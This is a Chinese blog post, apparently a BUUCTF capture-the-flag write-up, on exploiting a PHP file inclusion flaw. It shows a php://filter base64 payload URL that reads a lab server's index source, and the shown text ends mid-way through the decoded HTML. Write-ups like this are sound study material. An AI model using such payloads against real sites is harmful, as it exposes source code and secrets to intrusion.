buuctf web had a bad day

最新推荐文章于 2024-06-29 10:44:52 发布

显哥无敌

最新推荐文章于 2024-06-29 10:44:52 发布

阅读量1.6k

点赞数

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/121967964

版权

本文探讨了一次通过PHP文件包含漏洞进行安全测试的过程。作者通过分析源码，发现可以利用php://filter伪协议读取文件。尝试利用目录穿越技巧，成功读取到flag，揭示了代码中存在安全风险。最终，通过base64编码和解码，确认了文件读取的可行性，并分享了其他师傅的解决方案。

摘要由CSDN通过智能技术生成

这题应该是入门送分题
打开场景，两个超链接，点进去，有猫有狗，带了一个category参数，后面是超链接名字
盲猜是任意文件读取，审计源码
发现了hint

 <div class="page-include">

那就说明我们的思路没问题，干就完了
尝试http://10b59fde-8bbb-479a-9ec5-103defcf5b60.node4.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index.php
报错了
观察原来的category参数，是没有文件后缀的，我们也试试

http://10b59fde-8bbb-479a-9ec5-103defcf5b60.node4.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index

回显了，base64编码，那么就解码

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  <